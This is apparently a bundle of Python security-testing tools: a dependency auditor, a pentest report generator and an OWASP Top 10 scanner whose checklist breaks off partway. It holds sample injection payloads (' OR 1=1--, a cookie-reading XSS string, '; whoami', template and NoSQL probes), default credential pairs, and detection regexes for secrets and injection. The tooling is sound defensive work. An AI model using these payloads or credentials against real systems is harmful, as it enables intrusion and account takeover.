description=f"{dev_count}/{total} dependencies are dev-only. Large dev surface increases supply chain risk.",
recommendation="Review dev dependencies. Remove unused ones. Consider using --production for installs.",
))
return patterns
def format_report_text(result: Dict) -> str:
"""Format audit result as human-readable text."""
lines = []
lines.append("=" * 70)
lines.append("DEPENDENCY VULNERABILITY AUDIT REPORT")
lines.append(f"Manifest: {result['manifest']}")
lines.append(f"Ecosystem: {result['ecosystem']}")
lines.append(f"Total dependencies: {result['total_dependencies']} ({result['dev_dependencies']} dev)")
lines.append(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
lines.append("=" * 70)
summary = result["summary"]
lines.append(f"\nSummary: {summary['critical']} critical, {summary['high']} high, "
f"{summary['medium']} medium, {summary['low']} low, "
f"{summary['risky_patterns_count']} risky pattern(s)")
vulns = result["vulnerability_findings"]
if vulns:
lines.append(f"\n--- VULNERABILITY FINDINGS ({len(vulns)}) ---\n")
for v in vulns:
lines.append(f" [{v.severity.upper()}] {v.package} {v.installed_version}")
lines.append(f" CVE: {v.cve_id} (CVSS: {v.cvss_score})")
lines.append(f" {v.title}")
lines.append(f" Vulnerable: {v.vulnerable_range}")
lines.append(f" Fix: {v.remediation}")
lines.append("")
else:
lines.append("\nNo known vulnerabilities found in dependencies.")
risky = result["risky_patterns"]
if risky:
lines.append(f"\n--- RISKY PATTERNS ({len(risky)}) ---\n")
for r in risky:
lines.append(f" [{r.severity.upper()}] {r.package} — {r.pattern_type}")
lines.append(f" {r.description}")
lines.append(f" Fix: {r.recommendation}")
lines.append("")
return "\n".join(lines)
def main():
parser = argparse.ArgumentParser(
description="Dependency Auditor — Analyze package manifests for known vulnerabilities and risky patterns.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Supported manifests:
package.json (npm)
requirements.txt (pip/PyPI)
go.mod (Go)
Gemfile (Ruby)
Examples:
%(prog)s --file package.json
%(prog)s --file requirements.txt --severity high
%(prog)s --file go.mod --json
""",
)
parser.add_argument("--file", required=True, metavar="PATH",
help="Path to package manifest file")
parser.add_argument("--severity", choices=["low", "medium", "high", "critical"], default="low",
help="Minimum severity to report (default: low)")
parser.add_argument("--json", action="store_true", dest="json_output",
help="Output results as JSON")
args = parser.parse_args()
if not Path(args.file).exists():
print(f"Error: File not found: {args.file}", file=sys.stderr)
sys.exit(1)
auditor = DependencyAuditor(manifest_path=args.file, severity_filter=args.severity)
result = auditor.audit()
if args.json_output:
json_result = {
"manifest": result["manifest"],
"ecosystem": result["ecosystem"],
"total_dependencies": result["total_dependencies"],
"dev_dependencies": result["dev_dependencies"],
"summary": result["summary"],
"vulnerability_findings": [asdict(f) for f in result["vulnerability_findings"]],
"risky_patterns": [asdict(r) for r in result["risky_patterns"]],
"generated_at": datetime.now().isoformat(),
}
print(json.dumps(json_result, indent=2))
else:
print(format_report_text(result))
# Exit non-zero if critical or high vulnerabilities found
if result["summary"]["critical"] > 0 or result["summary"]["high"] > 0:
sys.exit(1)
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Pen Test Report Generator - Generate structured penetration testing reports from findings.
Table of Contents:
PentestReportGenerator - Main class for report generation
__init__ - Initialize with findings data
generate_markdown() - Generate markdown report
generate_json() - Generate structured JSON report
_executive_summary() - Build executive summary section
_findings_table() - Build severity-sorted findings table
_detailed_findings() - Build detailed findings with evidence
_remediation_matrix() - Build effort vs. impact remediation matrix
_calculate_risk_score() - Calculate overall risk score
main() - CLI entry point
Usage:
python pentest_report_generator.py --findings findings.json --format md --output report.md
python pentest_report_generator.py --findings findings.json --format json
python pentest_report_generator.py --findings findings.json --format md
"""
import argparse
import json
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional
@dataclass
class Finding:
"""A single pen test finding."""
title: str
severity: str # critical, high, medium, low, info
cvss_score: float
category: str
description: str
evidence: str
impact: str
remediation: str
cvss_vector: str = ""
references: List[str] = field(default_factory=list)
effort: str = "medium" # low, medium, high — remediation effort
SEVERITY_ORDER = {"critical": 5, "high": 4, "medium": 3, "low": 2, "info": 1}
class PentestReportGenerator:
"""Generate professional penetration testing reports from structured findings."""
def __init__(self, findings: List[Finding], metadata: Optional[Dict] = None):
self.findings = sorted(findings, key=lambda f: SEVERITY_ORDER.get(f.severity, 0), reverse=True)
self.metadata = metadata or {}
self.generated_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def generate_markdown(self) -> str:
"""Generate a complete markdown pen test report."""
sections = []
sections.append(self._header())
sections.append(self._executive_summary())
sections.append(self._scope_section())
sections.append(self._findings_table())
sections.append(self._detailed_findings())
sections.append(self._remediation_matrix())
sections.append(self._methodology_section())
sections.append(self._appendix())
return "\n\n".join(sections)
def generate_json(self) -> Dict:
"""Generate structured JSON report."""
return {
"report_metadata": {
"title": self.metadata.get("title", "Penetration Test Report"),
"target": self.metadata.get("target", "Not specified"),
"tester": self.metadata.get("tester", "Not specified"),
"date_range": self.metadata.get("date_range", "Not specified"),
"generated_at": self.generated_at,
"overall_risk_score": self._calculate_risk_score(),
"overall_risk_level": self._risk_level(),
},
"summary": {
"total_findings": len(self.findings),
"critical": len([f for f in self.findings if f.severity == "critical"]),
"high": len([f for f in self.findings if f.severity == "high"]),
"medium": len([f for f in self.findings if f.severity == "medium"]),
"low": len([f for f in self.findings if f.severity == "low"]),
"info": len([f for f in self.findings if f.severity == "info"]),
},
"findings": [asdict(f) for f in self.findings],
"remediation_priority": self._remediation_priority_list(),
}
def _header(self) -> str:
title = self.metadata.get("title", "Penetration Test Report")
target = self.metadata.get("target", "Not specified")
tester = self.metadata.get("tester", "Not specified")
date_range = self.metadata.get("date_range", "Not specified")
lines = [
f"# {title}",
"",
"| Field | Value |",
"|-------|-------|",
f"| **Target** | {target} |",
f"| **Tester** | {tester} |",
f"| **Date Range** | {date_range} |",
f"| **Report Generated** | {self.generated_at} |",
f"| **Overall Risk** | {self._risk_level()} (Score: {self._calculate_risk_score():.1f}/10) |",
f"| **Total Findings** | {len(self.findings)} |",
]
return "\n".join(lines)
def _executive_summary(self) -> str:
critical = len([f for f in self.findings if f.severity == "critical"])
high = len([f for f in self.findings if f.severity == "high"])
medium = len([f for f in self.findings if f.severity == "medium"])
low = len([f for f in self.findings if f.severity == "low"])
info = len([f for f in self.findings if f.severity == "info"])
risk_score = self._calculate_risk_score()
risk_level = self._risk_level()
lines = [
"## Executive Summary",
"",
f"This penetration test identified **{len(self.findings)} findings** across the target application. "
f"The overall risk level is **{risk_level}** with a score of **{risk_score:.1f}/10**.",
"",
"### Finding Severity Distribution",
"",
"| Severity | Count |",
"|----------|-------|",
f"| Critical | {critical} |",
f"| High | {high} |",
f"| Medium | {medium} |",
f"| Low | {low} |",
f"| Informational | {info} |",
]
# Top 3 findings
if self.findings:
lines.append("")
lines.append("### Top Priority Findings")
lines.append("")
for i, f in enumerate(self.findings[:3], 1):
lines.append(f"{i}. **{f.title}** ({f.severity.upper()}, CVSS {f.cvss_score}) — {f.impact[:120]}")
# Risk assessment
lines.append("")
if critical > 0:
lines.append("> **CRITICAL RISK**: Immediate remediation required. Critical vulnerabilities "
"allow attackers to compromise the system with minimal effort.")
elif high > 0:
lines.append("> **HIGH RISK**: Prompt remediation recommended. High-severity vulnerabilities "
"pose significant risk of exploitation.")
elif medium > 0:
lines.append("> **MODERATE RISK**: Remediation should be planned within the next sprint. "
"Medium findings may be chained for greater impact.")
else:
lines.append("> **LOW RISK**: The application has a reasonable security posture. "
"Address low-severity findings during regular maintenance.")
return "\n".join(lines)
def _scope_section(self) -> str:
scope = self.metadata.get("scope", "Full application security assessment")
exclusions = self.metadata.get("exclusions", "None specified")
test_type = self.metadata.get("test_type", "Gray box")
lines = [
"## Scope",
"",
f"- **In Scope**: {scope}",
f"- **Exclusions**: {exclusions}",
f"- **Test Type**: {test_type}",
]
return "\n".join(lines)
def _findings_table(self) -> str:
lines = [
"## Findings Overview",
"",
"| # | Severity | CVSS | Title | Category |",
"|---|----------|------|-------|----------|",
]
for i, f in enumerate(self.findings, 1):
sev_badge = f.severity.upper()
lines.append(f"| {i} | {sev_badge} | {f.cvss_score} | {f.title} | {f.category} |")
return "\n".join(lines)
def _detailed_findings(self) -> str:
lines = ["## Detailed Findings"]
for i, f in enumerate(self.findings, 1):
lines.append("")
lines.append(f"### {i}. {f.title}")
lines.append("")
lines.append(f"**Severity:** {f.severity.upper()} | **CVSS:** {f.cvss_score}"
+ (f" | **Vector:** `{f.cvss_vector}`" if f.cvss_vector else ""))
lines.append(f"**Category:** {f.category}")
lines.append("")
lines.append("#### Description")
lines.append("")
lines.append(f"{f.description}")
lines.append("")
lines.append("#### Evidence")
lines.append("")
lines.append("```")
lines.append(f"{f.evidence}")
lines.append("```")
lines.append("")
lines.append("#### Impact")
lines.append("")
lines.append(f"{f.impact}")
lines.append("")
lines.append("#### Remediation")
lines.append("")
lines.append(f"{f.remediation}")
if f.references:
lines.append("")
lines.append("#### References")
lines.append("")
for ref in f.references:
lines.append(f"- {ref}")
return "\n".join(lines)
def _remediation_matrix(self) -> str:
lines = [
"## Remediation Priority Matrix",
"",
"Prioritize remediation based on severity and effort:",
"",
"| # | Finding | Severity | Effort | Priority |",
"|---|---------|----------|--------|----------|",
]
for i, f in enumerate(self.findings, 1):
priority = self._compute_priority(f)
lines.append(f"| {i} | {f.title} | {f.severity.upper()} | {f.effort} | {priority} |")
lines.append("")
lines.append("**Priority Key:** P1 = Fix immediately, P2 = Fix this sprint, "
"P3 = Fix this quarter, P4 = Backlog")
return "\n".join(lines)
def _methodology_section(self) -> str:
lines = [
"## Methodology",
"",
"Testing followed the OWASP Testing Guide v4.2 and PTES (Penetration Testing Execution Standard):",
"",
"1. **Reconnaissance** — Mapped attack surface, identified endpoints and technologies",
"2. **Vulnerability Discovery** — Automated scanning + manual testing for OWASP Top 10",
"3. **Exploitation** — Validated findings with proof-of-concept (non-destructive)",
"4. **Post-Exploitation** — Assessed lateral movement and data access potential",
"5. **Reporting** — Documented findings with evidence and remediation guidance",
]
return "\n".join(lines)
def _appendix(self) -> str:
lines = [
"## Appendix",
"",
"### CVSS Scoring Reference",
"",
"| Score Range | Severity |",
"|-------------|----------|",
"| 9.0 - 10.0 | Critical |",
"| 7.0 - 8.9 | High |",
"| 4.0 - 6.9 | Medium |",
"| 0.1 - 3.9 | Low |",
"| 0.0 | Informational |",
"",
"### Disclaimer",
"",
"This report represents a point-in-time assessment. New vulnerabilities may emerge after "
"the testing period. Regular security assessments are recommended.",
"",
f"---\n\n*Report generated on {self.generated_at}*",
]
return "\n".join(lines)
def _calculate_risk_score(self) -> float:
"""Calculate overall risk score (0-10) based on findings."""
if not self.findings:
return 0.0
# Weighted by severity
weights = {"critical": 10, "high": 7, "medium": 4, "low": 1.5, "info": 0.5}
total_weight = sum(weights.get(f.severity, 0) for f in self.findings)
# Normalize: cap at 10, scale based on number of findings
score = min(10.0, total_weight / max(len(self.findings) * 0.5, 1))
return round(score, 1)
def _risk_level(self) -> str:
"""Return risk level string based on score."""
score = self._calculate_risk_score()
if score >= 9.0:
return "CRITICAL"
elif score >= 7.0:
return "HIGH"
elif score >= 4.0:
return "MEDIUM"
elif score > 0:
return "LOW"
return "NONE"
def _compute_priority(self, finding: Finding) -> str:
"""Compute remediation priority from severity and effort."""
sev = SEVERITY_ORDER.get(finding.severity, 0)
effort_map = {"low": 3, "medium": 2, "high": 1}
effort_val = effort_map.get(finding.effort, 2)
score = sev * effort_val
if score >= 12:
return "P1"
elif score >= 8:
return "P2"
elif score >= 4:
return "P3"
return "P4"
def _remediation_priority_list(self) -> List[Dict]:
"""Return ordered list of remediation priorities for JSON output."""
result = []
for f in self.findings:
result.append({
"title": f.title,
"severity": f.severity,
"effort": f.effort,
"priority": self._compute_priority(f),
"remediation": f.remediation,
})
return result
def load_findings(path: str) -> tuple:
"""Load findings from a JSON file."""
try:
content = Path(path).read_text(encoding="utf-8")
data = json.loads(content)
except (OSError, json.JSONDecodeError) as e:
print(f"Error loading findings: {e}", file=sys.stderr)
sys.exit(1)
# Support both list-of-findings and object-with-metadata formats
metadata = {}
findings_data = data
if isinstance(data, dict):
metadata = data.get("metadata", {})
findings_data = data.get("findings", [])
findings = []
for item in findings_data:
findings.append(Finding(
title=item.get("title", "Untitled Finding"),
severity=item.get("severity", "medium"),
cvss_score=float(item.get("cvss_score", 0.0)),
category=item.get("category", "Uncategorized"),
description=item.get("description", ""),
evidence=item.get("evidence", "No evidence provided"),
impact=item.get("impact", ""),
remediation=item.get("remediation", ""),
cvss_vector=item.get("cvss_vector", ""),
references=item.get("references", []),
effort=item.get("effort", "medium"),
))
return findings, metadata
def generate_sample_findings() -> str:
"""Generate a sample findings JSON for reference."""
sample = [
{
"title": "SQL Injection in Login Endpoint",
"severity": "critical",
"cvss_score": 9.8,
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"category": "A03:2021 - Injection",
"description": "The /api/login endpoint is vulnerable to SQL injection via the email parameter.",
"evidence": "Request: POST /api/login {\"email\": \"' OR 1=1--\", \"password\": \"x\"}\nResponse: 200 OK with admin session token",
"impact": "Full database access, authentication bypass, potential remote code execution.",
"remediation": "Use parameterized queries. Replace string concatenation with prepared statements.",
"references": ["https://cwe.mitre.org/data/definitions/89.html"],
"effort": "low"
},
{
"title": "Stored XSS in User Profile",
"severity": "high",
"cvss_score": 7.1,
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"category": "A03:2021 - Injection",
"description": "The user profile 'bio' field does not sanitize HTML input.",
"evidence": "Submitted <img src=x onerror=alert(document.cookie)> in bio field.\nVisiting the profile page executes the payload.",
"impact": "Session hijacking, account takeover, phishing via stored malicious content.",
"remediation": "Sanitize all user input with DOMPurify. Implement Content-Security-Policy.",
"references": ["https://cwe.mitre.org/data/definitions/79.html"],
"effort": "low"
}
]
return json.dumps(sample, indent=2)
def main():
parser = argparse.ArgumentParser(
description="Pen Test Report Generator — Generate professional penetration testing reports from structured findings.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --findings findings.json --format md --output report.md
%(prog)s --findings findings.json --format json
%(prog)s --sample > sample_findings.json
Findings JSON format:
A JSON array of objects with: title, severity, cvss_score, category,
description, evidence, impact, remediation, cvss_vector, references, effort.
Use --sample to generate a template.
""",
)
parser.add_argument("--findings", metavar="FILE",
help="Path to findings JSON file")
parser.add_argument("--format", choices=["md", "json"], default="md",
help="Output format (default: md)")
parser.add_argument("--output", metavar="FILE",
help="Output file path (default: stdout)")
parser.add_argument("--json", action="store_true", dest="json_shortcut",
help="Shortcut for --format json")
parser.add_argument("--sample", action="store_true",
help="Print sample findings JSON and exit")
args = parser.parse_args()
if args.sample:
print(generate_sample_findings())
return
if not args.findings:
parser.error("--findings is required (use --sample to generate a template)")
if not Path(args.findings).exists():
print(f"Error: File not found: {args.findings}", file=sys.stderr)
sys.exit(1)
output_format = "json" if args.json_shortcut else args.format
findings, metadata = load_findings(args.findings)
if not findings:
print("No findings loaded. Check the JSON file format.", file=sys.stderr)
sys.exit(1)
generator = PentestReportGenerator(findings=findings, metadata=metadata)
if output_format == "json":
result = json.dumps(generator.generate_json(), indent=2)
else:
result = generator.generate_markdown()
if args.output:
Path(args.output).write_text(result, encoding="utf-8")
print(f"Report written to {args.output}")
else:
print(result)
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Vulnerability Scanner - Generate OWASP Top 10 security checklists and scan for common patterns.
Table of Contents:
VulnerabilityScanner - Main class for vulnerability scanning
__init__ - Initialize with target type and scope
generate_checklist - Generate OWASP Top 10 checklist for target
scan_source - Scan source directory for vulnerability patterns
_scan_file - Scan individual file for regex patterns
_get_owasp_checks - Return OWASP checks for target type
main() - CLI entry point
Usage:
python vulnerability_scanner.py --target web --scope full
python vulnerability_scanner.py --target api --scope quick --json
python vulnerability_scanner.py --target web --source /path/to/code --scope full
"""
import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional
@dataclass
class CheckItem:
"""A single check item in the OWASP checklist."""
owasp_id: str
owasp_category: str
check_id: str
title: str
description: str
test_procedure: str
severity: str # critical, high, medium, low, info
applicable_targets: List[str] = field(default_factory=list)
status: str = "pending" # pending, pass, fail, na
@dataclass
class SourceFinding:
"""A vulnerability pattern found in source code."""
rule_id: str
title: str
severity: str
owasp_category: str
file_path: str
line_number: int
code_snippet: str
recommendation: str
class VulnerabilityScanner:
"""Generate OWASP Top 10 checklists and scan source code for vulnerability patterns."""
SCAN_EXTENSIONS = {
".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go",
".rb", ".php", ".cs", ".rs", ".html", ".vue", ".svelte",
}
SKIP_DIRS = {
"node_modules", ".git", "__pycache__", ".venv", "venv",
"vendor", "dist", "build", ".next", "target",
}
def __init__(self, target: str = "web", scope: str = "full", source: Optional[str] = None):
self.target = target
self.scope = scope
self.source = source
def generate_checklist(self) -> List[CheckItem]:
"""Generate OWASP Top 10 checklist for the given target and scope."""
all_checks = self._get_owasp_checks()
filtered = []
for check in all_checks:
if self.target not in check.applicable_targets and "all" not in check.applicable_targets:
continue
if self.scope == "quick" and check.severity in ("low", "info"):
continue
filtered.append(check)
return filtered
def scan_source(self, path: str) -> List[SourceFinding]:
"""Scan source directory for common vulnerability patterns."""
findings = []
source_path = Path(path)
if not source_path.exists():
return findings
for root, dirs, files in os.walk(source_path):
dirs[:] = [d for d in dirs if d not in self.SKIP_DIRS]
for fname in files:
fpath = Path(root) / fname
if fpath.suffix in self.SCAN_EXTENSIONS:
findings.extend(self._scan_file(fpath))
return findings
def _scan_file(self, file_path: Path) -> List[SourceFinding]:
"""Scan a single file for vulnerability patterns."""
findings = []
try:
content = file_path.read_text(encoding="utf-8", errors="ignore")
except (OSError, PermissionError):
return findings
patterns = [
{
"rule_id": "SQLI-001",
"title": "Potential SQL Injection (string concatenation)",
"severity": "critical",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''(?:execute|query|cursor\.execute)\s*\(\s*(?:f["\']|["\'].*%s|["\'].*\+\s*\w+|["\'].*\.format)''',
"recommendation": "Use parameterized queries or prepared statements instead of string concatenation.",
"extensions": {".py", ".js", ".ts", ".java", ".rb", ".php"},
},
{
"rule_id": "SQLI-002",
"title": "Potential SQL Injection (template literal)",
"severity": "critical",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''(?:query|execute|raw)\s*\(\s*`[^`]*\$\{''',
"recommendation": "Use parameterized queries. Never interpolate user input into SQL strings.",
"extensions": {".js", ".ts", ".jsx", ".tsx"},
},
{
"rule_id": "XSS-001",
"title": "Potential DOM-based XSS (innerHTML)",
"severity": "high",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''\.innerHTML\s*=\s*(?!['"][^'"]*['"])''',
"recommendation": "Use textContent or a sanitization library (DOMPurify) instead of innerHTML.",
"extensions": {".js", ".ts", ".jsx", ".tsx", ".html", ".vue", ".svelte"},
},
{
"rule_id": "XSS-002",
"title": "React dangerouslySetInnerHTML usage",
"severity": "high",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''dangerouslySetInnerHTML''',
"recommendation": "Sanitize HTML with DOMPurify before using dangerouslySetInnerHTML.",
"extensions": {".jsx", ".tsx", ".js", ".ts"},
},
{
"rule_id": "CMDI-001",
"title": "Potential Command Injection (shell=True)",
"severity": "critical",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''subprocess\.\w+\(.*shell\s*=\s*True''',
"recommendation": "Avoid shell=True. Use subprocess with a list of arguments instead.",
"extensions": {".py"},
},
{
"rule_id": "CMDI-002",
"title": "Potential Command Injection (eval/exec)",
"severity": "critical",
"owasp_category": "A03:2021 - Injection",
"pattern": r'''(?:^|\s)(?:eval|exec)\s*\((?!.*(?:#\s*nosec|NOSONAR))''',
"recommendation": "Never use eval() or exec() with untrusted input. Use ast.literal_eval() for data parsing.",
"extensions": {".py", ".js", ".ts"},
},
{
"rule_id": "SEC-001",
"title": "Hardcoded Secret or API Key",
"severity": "critical",
"owasp_category": "A02:2021 - Cryptographic Failures",
"pattern": r'''(?i)(?:api[_-]?key|secret[_-]?key|password|passwd|token)\s*[:=]\s*['\"][a-zA-Z0-9+/=]{16,}['\"]''',
"recommendation": "Move secrets to environment variables or a secrets manager (Vault, AWS Secrets Manager).",
"extensions": {".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go", ".rb", ".php"},
},
{
"rule_id": "SEC-002",
"title": "AWS Access Key ID detected",
"severity": "critical",
"owasp_category": "A02:2021 - Cryptographic Failures",
"pattern": r'''AKIA[0-9A-Z]{16}''',
"recommendation": "Remove the AWS key immediately. Rotate the credential and use IAM roles or environment variables.",
"extensions": None, # scan all files
},
{
"rule_id": "CRYPTO-001",
"title": "Weak hashing algorithm (MD5/SHA1)",
"severity": "high",
"owasp_category": "A02:2021 - Cryptographic Failures",
"pattern": r'''(?:md5|sha1)\s*\(''',
"recommendation": "Use bcrypt, scrypt, or argon2 for passwords. Use SHA-256+ for integrity checks.",
"extensions": {".py", ".js", ".ts", ".java", ".go", ".rb", ".php"},
},
{
"rule_id": "SSRF-001",
"title": "Potential SSRF (user-controlled URL in HTTP request)",
"severity": "high",
"owasp_category": "A10:2021 - SSRF",
"pattern": r'''(?:requests\.get|fetch|axios|http\.get|urllib\.request\.urlopen)\s*\(\s*(?:request\.|req\.|params|args|input|user)''',
"recommendation": "Validate and allowlist URLs before making outbound requests. Block internal IPs.",
"extensions": {".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go"},
},
{
"rule_id": "PATH-001",
"title": "Potential Path Traversal",
"severity": "high",
"owasp_category": "A01:2021 - Broken Access Control",
"pattern": r'''(?:open|readFile|readFileSync|Path\.join)\s*\(.*(?:request\.|req\.|params|args|input|user)''',
"recommendation": "Sanitize file paths. Use os.path.basename() and validate against an allowlist.",
"extensions": {".py", ".js", ".ts", ".java", ".go"},
},
{
"rule_id": "DESER-001",
"title": "Unsafe Deserialization (pickle/yaml.load)",
"severity": "critical",
"owasp_category": "A08:2021 - Software and Data Integrity Failures",
"pattern": r'''(?:pickle\.load|yaml\.load\s*\([^)]*\)\s*(?!.*Loader\s*=\s*yaml\.SafeLoader))''',
"recommendation": "Use yaml.safe_load() instead of yaml.load(). Avoid pickle for untrusted data.",
"extensions": {".py"},
},
{
"rule_id": "AUTH-001",
"title": "JWT with hardcoded secret",
"severity": "critical",
"owasp_category": "A07:2021 - Identification and Authentication Failures",
"pattern": r'''jwt\.(?:encode|sign)\s*\([^)]*['\"][a-zA-Z0-9]{8,}['\"]''',
"recommendation": "Load JWT secrets from environment variables. Use RS256 with key pairs for production.",
"extensions": {".py", ".js", ".ts"},
},
]
lines = content.split("\n")
for i, line in enumerate(lines, 1):
for pat in patterns:
exts = pat.get("extensions")
if exts and file_path.suffix not in exts:
continue
if re.search(pat["pattern"], line):
findings.append(SourceFinding(
rule_id=pat["rule_id"],
title=pat["title"],
severity=pat["severity"],
owasp_category=pat["owasp_category"],
file_path=str(file_path),
line_number=i,
code_snippet=line.strip()[:200],
recommendation=pat["recommendation"],
))
return findings
def _get_owasp_checks(self) -> List[CheckItem]:
"""Return comprehensive OWASP Top 10 checklist items."""
checks = [
# A01: Broken Access Control
CheckItem("A01", "Broken Access Control", "A01-01",
"Horizontal Privilege Escalation",
"Verify users cannot access other users' resources by changing IDs.",
"Change resource IDs in API requests (e.g., /users/123 → /users/124). Expect 403.",
"critical", ["web", "api", "all"]),
CheckItem("A01", "Broken Access Control", "A01-02",
"Vertical Privilege Escalation",
"Verify regular users cannot access admin endpoints.",
"Authenticate as regular user, request admin endpoints. Expect 403.",
"critical", ["web", "api", "all"]),
CheckItem("A01", "Broken Access Control", "A01-03",
"CORS Misconfiguration",
"Verify CORS policy does not allow arbitrary origins.",
"Send request with Origin: https://evil.com. Check Access-Control-Allow-Origin.",
"high", ["web", "api"]),
CheckItem("A01", "Broken Access Control", "A01-04",
"Forced Browsing",
"Check for unprotected admin or debug pages.",
"Request /admin, /debug, /api/admin, /.env, /swagger. Expect 403 or 404.",
"high", ["web", "all"]),
CheckItem("A01", "Broken Access Control", "A01-05",
"Directory Listing",
"Verify directory listing is disabled on the web server.",
"Request directory paths without index file. Should not list contents.",
"medium", ["web"]),
# A02: Cryptographic Failures
CheckItem("A02", "Cryptographic Failures", "A02-01",
"TLS Version Check",
"Ensure TLS 1.2+ is enforced. Reject TLS 1.0/1.1.",
"Run: nmap --script ssl-enum-ciphers -p 443 target.com",
"high", ["web", "api", "all"]),
CheckItem("A02", "Cryptographic Failures", "A02-02",
"Password Hashing Algorithm",
"Verify passwords use bcrypt/scrypt/argon2 with adequate cost.",
"Review authentication code for hashing implementation.",
"critical", ["web", "api", "all"]),
CheckItem("A02", "Cryptographic Failures", "A02-03",
"Sensitive Data in URLs",
"Check for tokens, passwords, or PII in query parameters.",
"Review access logs and URL patterns for sensitive query params.",
"high", ["web", "api"]),
CheckItem("A02", "Cryptographic Failures", "A02-04",
"HSTS Header",
"Verify Strict-Transport-Security header is present.",
"Check response headers for HSTS with max-age >= 31536000.",
"medium", ["web"]),
# A03: Injection
CheckItem("A03", "Injection", "A03-01",
"SQL Injection",
"Test input fields for SQL injection vulnerabilities.",
"Submit ' OR 1=1-- in input fields. Check for errors or unexpected behavior.",
"critical", ["web", "api", "all"]),
CheckItem("A03", "Injection", "A03-02",
"XSS (Cross-Site Scripting)",
"Test for reflected, stored, and DOM-based XSS.",
"Submit <script>alert(1)</script> in input fields. Check if rendered.",
"high", ["web", "all"]),
CheckItem("A03", "Injection", "A03-03",
"Command Injection",
"Test for OS command injection in input fields.",
"Submit ; whoami in fields that may trigger system commands.",
"critical", ["web", "api"]),
CheckItem("A03", "Injection", "A03-04",
"Template Injection",
"Test for server-side template injection.",
"Submit {{7*7}} and ${7*7} in input fields. Check for 49 in response.",
"high", ["web", "api"]),
CheckItem("A03", "Injection", "A03-05",
"NoSQL Injection",
"Test for NoSQL injection in JSON inputs.",
"Submit {\"$gt\": \"\"} in JSON fields. Check for data leakage.",
"high", ["api"]),
# A04: Insecure Design
CheckItem("A04", "Insecure Design", "A04-01",
"Rate Limiting on Authentication",
"Verify rate limiting exists on login and password reset endpoints.",
"Send 50+ rapid login requests. Expect 429 after threshold.",
"high", ["web", "api", "all"]),
CheckItem("A04", "Insecure Design", "A04-02",
"Business Logic Abuse",
"Test for business logic flaws (negative quantities, state manipulation).",
"Try negative values, skip steps in workflows, manipulate client-side calculations.",
"high", ["web", "api"]),
CheckItem("A04", "Insecure Design", "A04-03",
"Account Lockout",
"Verify account lockout after repeated failed login attempts.",
"Submit 10+ failed login attempts. Check for lockout or CAPTCHA.",
"medium", ["web", "api"]),
# A05: Security Misconfiguration
CheckItem("A05", "Security Misconfiguration", "A05-01",
"Default Credentials",
"Check for default credentials on admin panels and services.",
"Try admin:admin, root:root, admin:password on all login forms.",
"critical", ["web", "api", "all"]),
CheckItem("A05", "Security Misconfiguration", "A05-02",
"Debug Mode in Production",
"Verify debug mode is disabled in production.",
"Trigger errors and check for stack traces, debug info, or verbose errors.",
"high", ["web", "api", "all"]),
CheckItem("A05", "Security Misconfiguration", "A05-03",
"Security Headers",
"Verify all security headers are present and properly configured.",
"Check for CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.",
"medium", ["web"]),
CheckItem("A05", "Security Misconfiguration", "A05-04",
"Unnecessary HTTP Methods",
"Verify only required HTTP methods are enabled.",
"Send OPTIONS request. Check for TRACE, DELETE on public endpoints.",
"low", ["web", "api"]),
# A06: Vulnerable Components
CheckItem("A06", "Vulnerable and Outdated Components", "A06-01",
"Dependency CVE Audit",
"Scan all dependencies for known CVEs.",
"Run npm audit, pip audit, govulncheck, or bundle audit.",
"high", ["web", "api", "mobile", "all"]),
CheckItem("A06", "Vulnerable and Outdated Components", "A06-02",
"End-of-Life Framework Check",
"Verify no EOL frameworks or languages are in use.",
"Check framework versions against vendor EOL dates.",
"medium", ["web", "api", "all"]),
# A07: Authentication Failures
CheckItem("A07", "Identification and Authentication Failures", "A07-01",
"Brute Force Protection",
"Verify brute force protection on authentication endpoints.",
"Send 100 rapid login attempts. Expect blocking after threshold.",
"high", ["web", "api", "all"]),
CheckItem("A07", "Identification and Authentication Failures", "A07-02",
"Session Management",
"Verify sessions are properly managed (HttpOnly, Secure, SameSite).",
"Check cookie flags: HttpOnly, Secure, SameSite=Strict|Lax.",
"high", ["web"]),
CheckItem("A07", "Identification and Authentication Failures", "A07-03",
"Session Invalidation on Logout",
"Verify sessions are invalidated on logout.",
"Logout, then replay the session cookie. Should receive 401.",
"high", ["web", "api"]),
CheckItem("A07", "Identification and Authentication Failures", "A07-04",
"Username Enumeration",
"Check for username enumeration via error messages.",
"Submit valid and invalid usernames. Error messages should be identical.",
"medium", ["web", "api"]),
# A08: Data Integrity
CheckItem("A08", "Software and Data Integrity Failures", "A08-01",
"Unsafe Deserialization",
"Check for unsafe deserialization of user input.",
"Review code for pickle.load(), yaml.load(), Java ObjectInputStream.",
"critical", ["web", "api"]),
CheckItem("A08", "Software and Data Integrity Failures", "A08-02",
"Subresource Integrity",
"Verify SRI hashes on CDN-loaded scripts and stylesheets.",
"Check <script> and <link> tags for integrity attributes.",
"medium", ["web"]),
# A09: Logging Failures
CheckItem("A09", "Security Logging and Monitoring Failures", "A09-01",
"Authentication Event Logging",
"Verify login success and failure events are logged.",
"Attempt valid and invalid logins. Check server logs for entries.",
"medium", ["web", "api", "all"]),
CheckItem("A09", "Security Logging and Monitoring Failures", "A09-02",
"Sensitive Data in Logs",
"Verify passwords, tokens, and PII are not logged.",
